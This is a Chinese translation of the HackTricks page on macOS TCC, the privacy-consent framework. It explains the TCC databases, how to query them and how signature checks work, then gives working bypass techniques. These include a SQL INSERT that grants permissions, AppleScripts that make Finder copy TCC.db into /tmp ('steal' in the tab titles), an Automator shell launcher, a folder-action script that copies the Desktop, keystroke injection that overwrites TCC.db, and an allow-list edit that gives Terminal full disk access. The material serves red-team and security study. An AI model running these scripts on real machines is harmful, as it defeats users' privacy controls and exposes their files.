hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc
2024-03-29 21:06:45 +00:00
..
macos-tcc-bypasses Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-03-29 21:06:45 +00:00
macos-apple-scripts.md Translated to Chinese 2023-08-03 19:12:22 +00:00
macos-tcc-bypasses.md Translated ['README.md', 'backdoors/salseo.md', 'forensics/basic-forensi 2023-08-31 16:02:56 +00:00
macos-tcc-payloads.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:27:24 +00:00
README.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-03-29 21:06:45 +00:00

macOS TCC

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式

基本信息

TCC透明度、同意和控制是一种安全协议,专注于规范应用程序权限。其主要作用是保护诸如位置服务、联系人、照片、麦克风、摄像头、辅助功能和完全磁盘访问等敏感功能。通过在授予应用程序对这些元素的访问之前强制要求明确用户同意TCC增强了隐私和用户对其数据的控制。

用户在应用程序请求访问受保护功能时会遇到TCC。这通过一个提示可见允许用户批准或拒绝访问。此外TCC还支持直接用户操作例如将文件拖放到应用程序中,以授予对特定文件的访问权限,确保应用程序仅能访问明确允许的内容。

TCC提示的示例

TCC由位于/System/Library/PrivateFrameworks/TCC.framework/Support/tccd守护程序处理,并在/System/Library/LaunchDaemons/com.apple.tccd.system.plist中进行配置注册mach服务com.apple.tccd.system)。

每个已登录用户定义的用户模式tccd/System/Library/LaunchAgents/com.apple.tccd.plist中运行注册mach服务com.apple.tccdcom.apple.usernotifications.delegate.com.apple.tccd

在这里您可以看到作为系统和用户运行的tccd

ps -ef | grep tcc
0   374     1   0 Thu07PM ??         2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079     1   0  6:59PM ??         0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd

权限是从父应用程序继承的权限是基于Bundle ID和Developer ID进行跟踪。

TCC数据库

然后将允许/拒绝存储在一些TCC数据库中

  • 系统范围的数据库位于**/Library/Application Support/com.apple.TCC/TCC.db**。
  • 此数据库受到SIP保护因此只有SIP绕过才能写入其中。
  • 用户TCC数据库**$HOME/Library/Application Support/com.apple.TCC/TCC.db**用于每个用户的偏好设置。
  • 此数据库受保护因此只有具有高TCC权限的进程如完全磁盘访问才能写入其中但不受SIP保护

{% hint style="warning" %} 先前的数据库也受到TCC保护以进行读取访问。因此除非是来自具有TCC特权进程的情况否则您将无法读取常规用户TCC数据库。

但是请记住具有这些高权限的进程如FDA或kTCCServiceEndpointSecurityClient将能够写入用户的TCC数据库。 {% endhint %}

  • 在**/var/db/locationd/clients.plist**中有第三个TCC数据库用于指示允许访问位置服务的客户端。
  • 受SIP保护的文件**/Users/carlospolop/Downloads/REG.db**也受TCC读取访问保护包含所有有效TCC数据库的位置。
  • 受SIP保护的文件**/Users/carlospolop/Downloads/MDMOverrides.plist**也受TCC读取访问保护包含更多TCC授予的权限。
  • 受SIP保护的文件**/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist**但任何人都可以读取是需要TCC异常的应用程序的允许列表。

{% hint style="success" %} iOS中的TCC数据库位于**/private/var/mobile/Library/TCC/TCC.db** {% endhint %}

{% hint style="info" %} 通知中心UI可以在系统TCC数据库中进行更改

{% code overflow="wrap" %}

codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
[..]
com.apple.private.tcc.manager
com.apple.rootless.storage.TCC

{% endcode %}

然而,用户可以使用**tccutil命令行实用程序删除或查询规则**。 {% endhint %}

查询数据库

{% tabs %} {% tab title="用户数据库" %} {% code overflow="wrap" %}

sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]

# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;

{% endcode %} {% endtab %}

{% tab title="系统数据库" %} {% code overflow="wrap" %}

sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]

# Get all FDA
sqlite> select service, client, auth_value, auth_reason from access where service = "kTCCServiceSystemPolicyAllFiles" and auth_value=2;

# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;

{% endcode %} {% endtab %} {% endtabs %}

{% hint style="success" %} 检查这两个数据库,您可以检查应用程序已允许、已禁止或未拥有的权限(它将请求该权限)。 {% endhint %}

  • service 是 TCC 权限 字符串表示
  • client 是具有权限的 bundle ID二进制路径
  • client_type 指示它是 Bundle Identifier(0) 还是绝对路径(1)
如果是绝对路径,如何执行

只需执行 launctl load you_bin.plist,使用类似以下的 plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<!-- Label for the job -->
<key>Label</key>
<string>com.example.yourbinary</string>

<!-- The path to the executable -->
<key>Program</key>
<string>/path/to/binary</string>

<!-- Arguments to pass to the executable (if any) -->
<key>ProgramArguments</key>
<array>
<string>arg1</string>
<string>arg2</string>
</array>

<!-- Run at load -->
<key>RunAtLoad</key>
<true/>

<!-- Keep the job alive, restart if necessary -->
<key>KeepAlive</key>
<true/>

<!-- Standard output and error paths (optional) -->
<key>StandardOutPath</key>
<string>/tmp/YourBinary.stdout</string>
<key>StandardErrorPath</key>
<string>/tmp/YourBinary.stderr</string>
</dict>
</plist>
  • auth_value 可以有不同的值: denied(0), unknown(1), allowed(2), 或 limited(3).
  • auth_reason 可以采用以下值: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
  • csreq 字段用于指示如何验证要执行的二进制文件并授予 TCC 权限:
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;

# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"
echo "$BLOB" | xxd -r -p > terminal-csreq.bin
csreq -r- -t < terminal-csreq.bin

# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}')
echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin  | tr -d '\n')
echo "X'$REQ_HEX'"

您还可以在系统偏好设置 --> 安全性与隐私 --> 隐私 --> 文件和文件夹中查看应用程序的已授予权限

{% hint style="success" %} 用户可以使用**tccutil** 删除或查询规则。 {% endhint %}

重置 TCC 权限

# You can reset all the permissions given to an application with
tccutil reset All app.some.id

# Reset the permissions granted to all apps
tccutil reset All

TCC 签名检查

TCC 数据库 存储了应用程序的 Bundle ID,但它还存储了有关签名的 信息,以确保请求使用权限的应用程序是正确的。

# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
#Get csreq

# From bash
echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checks
csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"

{% endcode %}

{% hint style="warning" %} 因此,使用相同名称和捆绑标识的其他应用程序将无法访问授予其他应用程序的权限。 {% endhint %}

权限和TCC权限

应用程序不仅需要请求并获得对某些资源的访问权限,还需要具有相关的权限。
例如Telegram具有com.apple.security.device.camera权限来请求访问摄像头。没有此权限的应用程序将无法访问摄像头(用户甚至不会被询问权限)。

然而,要访问某些用户文件夹,如~/Desktop~/Downloads~/Documents,应用程序不需要具有任何特定的权限。系统将透明地处理访问并根据需要提示用户。

苹果的应用程序不会生成提示。它们在其权限列表中包含预授予权利这意味着它们永远不会生成弹出窗口也不会出现在任何TCC数据库中。例如

codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
<key>com.apple.private.tcc.allow</key>
<array>
<string>kTCCServiceReminders</string>
<string>kTCCServiceCalendar</string>
<string>kTCCServiceAddressBook</string>
</array>

这将避免日历请求用户访问提醒事项、日历和通讯录。

{% hint style="success" %} 除了一些关于授权的官方文档外,还可以在https://newosxbook.com/ent.jl找到一些非官方的有关授权的有趣信息。 {% endhint %}

一些TCC权限包括kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotos... 没有公开的列表定义了所有权限,但可以查看这个已知权限列表

敏感且未受保护的位置

  • $HOME本身
  • $HOME/.ssh、$HOME/.aws 等
  • /tmp

用户意图 / com.apple.macl

如前所述,可以通过将文件拖放到应用程序中来授予应用程序对文件的访问权限。这种访问权限不会在任何TCC数据库中指定而是作为文件的扩展属性。该属性将存储允许应用程序的 UUID

xattr Desktop/private.txt
com.apple.macl

# Check extra access to the file
## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_read Desktop/private.txt
Filename,Header,App UUID
"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3

# Get the UUID of the app
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3

{% hint style="info" %} 有趣的是 com.apple.macl 属性由 Sandbox 管理,而不是 tccd。

另请注意,如果您将允许计算机上应用程序的 UUID 的文件移动到不同的计算机,因为相同的应用程序将具有不同的 UID它不会授予该应用程序访问权限。 {% endhint %}

扩展属性 com.apple.macl 无法像其他扩展属性一样清除,因为它受到 SIP 保护。但是,正如在此帖子中解释的,可以通过压缩文件,删除文件,然后解压缩文件来禁用它。

TCC 提权和绕过

插入到 TCC

如果您在某个时刻成功获得对 TCC 数据库的写访问权限,可以使用类似以下内容的内容添加条目(删除注释):

插入到 TCC 示例 ```sql INSERT INTO access ( service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client_type (0 - bundle id) 2, -- auth_value (2 - allowed) 3, -- auth_reason (3 - "User Set") 1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy_id NULL, -- indirect_object_identifier_type 'UNUSED', -- indirect_object_identifier - default value NULL, -- indirect_object_code_identity 0, -- flags strftime('%s', 'now'), -- last_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid_version is an integer and optional 'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp ); ```

TCC Payloads

如果您成功进入一个带有某些TCC权限的应用程序请查看以下页面其中包含滥用这些权限的TCC有效载荷

{% content-ref url="macos-tcc-payloads.md" %} macos-tcc-payloads.md {% endcontent-ref %}

自动化Finder到FDA*

自动化权限的TCC名称是kTCCServiceAppleEvents
这个特定的TCC权限还指示了可以在TCC数据库中管理的应用程序(因此权限不允许仅仅管理所有内容)。

Finder 是一个始终具有FDA即使在UI中看不到的应用程序因此如果您对其具有自动化权限,您可以滥用其权限让其执行一些操作
在这种情况下,您的应用程序需要对**com.apple.FinderkTCCServiceAppleEvents**权限。

{% tabs %} {% tab title="窃取用户的TCC.db" %}

# This AppleScript will copy the system TCC database into /tmp
osascript<<EOD
tell application "Finder"
set homeFolder to path to home folder as string
set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias
set targetFolder to POSIX file "/tmp" as alias
duplicate file sourceFile to targetFolder with replacing
end tell
EOD

{% endtab %}

{% tab title="窃取系统 TCC.db" %}

osascript<<EOD
tell application "Finder"
set sourceFile to POSIX file "/Library/Application Support/com.apple.TCC/TCC.db" as alias
set targetFolder to POSIX file "/tmp" as alias
duplicate file sourceFile to targetFolder with replacing
end tell
EOD

{% endtab %} {% endtabs %}

您可以滥用这个漏洞来编写自己的用户TCC数据库

{% hint style="warning" %} 有了这个权限,您将能够要求查找器访问TCC受限文件夹并提供文件,但据我所知,您无法让Finder执行任意代码来完全滥用他的FDA访问权限。

因此您将无法滥用完整的FDA功能。 {% endhint %}

这是获取Finder上的自动化权限的TCC提示

{% hint style="danger" %} 请注意,因为Automator应用程序具有TCC权限**kTCCServiceAppleEvents,它可以控制任何应用程序**比如Finder。因此拥有控制Automator的权限您也可以使用下面的代码控制Finder {% endhint %}

在Automator中获取一个shell ```applescript osascript<tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND_STRING" to theScript end tell execute it end tell activate end tell EOD

Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear

</details>

同样的情况也发生在**脚本编辑器应用程序**上它可以控制Finder但是使用AppleScript时你无法强制其执行脚本。

### 自动化SE到一些TCC

**系统事件可以创建文件夹操作文件夹操作可以访问一些TCC文件夹**(桌面、文稿和下载),因此可以使用以下脚本来滥用这种行为:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD

osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"

# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true

-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"

-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath

-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if

-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD

# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"

自动化SE+ 辅助功能(kTCCServicePostEvent|kTCCServiceAccessibility**)到 FDA*

System Events 上的自动化 + 辅助功能(kTCCServicePostEvent)允许发送按键到进程。这样,您可以滥用 Finder 来更改用户的 TCC.db 或为任意应用程序提供 FDA尽管可能需要密码

Finder 覆盖用户 TCC.db 示例:

-- store the TCC.db file to copy in /tmp
osascript <<EOF
tell application "System Events"
-- Open Finder
tell application "Finder" to activate

-- Open the /tmp directory
keystroke "g" using {command down, shift down}
delay 1
keystroke "/tmp"
delay 1
keystroke return
delay 1

-- Select and copy the file
keystroke "TCC.db"
delay 1
keystroke "c" using {command down}
delay 1

-- Resolve $HOME environment variable
set homePath to system attribute "HOME"

-- Navigate to the Desktop directory under $HOME
keystroke "g" using {command down, shift down}
delay 1
keystroke homePath & "/Library/Application Support/com.apple.TCC"
delay 1
keystroke return
delay 1

-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
keystroke "TCC.db"
delay 1
keystroke return
delay 1
key code 51 using {command down}
delay 1

-- Paste the file
keystroke "v" using {command down}
end tell
EOF

kTCCServiceAccessibility 到 FDA*

查看此页面以获取一些滥用辅助功能权限的有效载荷,以提升权限至 FDA* 或例如运行键盘记录器。

终端安全客户端到 FDA

如果你有 kTCCServiceEndpointSecurityClient,你就有 FDA。结束。

系统策略 SysAdmin 文件到 FDA

kTCCServiceSystemPolicySysAdminFiles 允许更改用户的 NFSHomeDirectory 属性,从而更改其主文件夹,因此允许绕过 TCC

用户 TCC 数据库到 FDA

获得对用户 TCC数据库的写入权限,你无法授予自己 FDA 权限,只有位于系统数据库中的权限可以授予。

但是你可以给自己**Finder 的自动化权限**,并滥用先前的技术来提升至 FDA*。

FDA 到 TCC 权限

全磁盘访问在 TCC 中的名称是 kTCCServiceSystemPolicyAllFiles

我不认为这是一个真正的权限提升,但以防万一你发现它有用:如果你控制了一个具有 FDA 权限的程序,你可以修改用户的 TCC 数据库并授予自己任何访问权限。这可能作为一种持久性技术很有用,以防你可能会失去 FDA 权限。

SIP 绕过到 TCC 绕过

系统的 TCC 数据库 受到 SIP 保护,这就是为什么只有具有指定赋权的进程才能修改它。因此,如果攻击者找到了一个SIP 绕过来绕过一个文件(能够修改由 SIP 限制的文件),他将能够:

  • 移除 TCC 数据库的保护,并给自己所有 TCC 权限。他可以滥用其中任何文件,例如:
  • TCC 系统数据库
  • REG.db
  • MDMOverrides.plist

然而,还有另一种选择来滥用这个SIP 绕过来绕过 TCC,文件 /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist 是需要 TCC 例外的应用程序允许列表。因此,如果攻击者可以移除此文件的 SIP 保护并添加他自己的应用程序,该应用程序将能够绕过 TCC。
例如,要添加终端:

# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app

AllowApplicationsList.plist:

允许应用程序列表.plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Services</key>
<dict>
<key>SystemPolicyAllFiles</key>
<array>
<dict>
<key>CodeRequirement</key>
<string>identifier &quot;com.apple.Terminal&quot; and anchor apple</string>
<key>IdentifierType</key>
<string>bundleID</string>
<key>Identifier</key>
<string>com.apple.Terminal</string>
</dict>
</array>
</dict>
</dict>
</plist>

TCC绕过

{% content-ref url="macos-tcc-bypasses/" %} macos-tcc-bypasses {% endcontent-ref %}

参考资料

从零开始学习AWS黑客技术成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式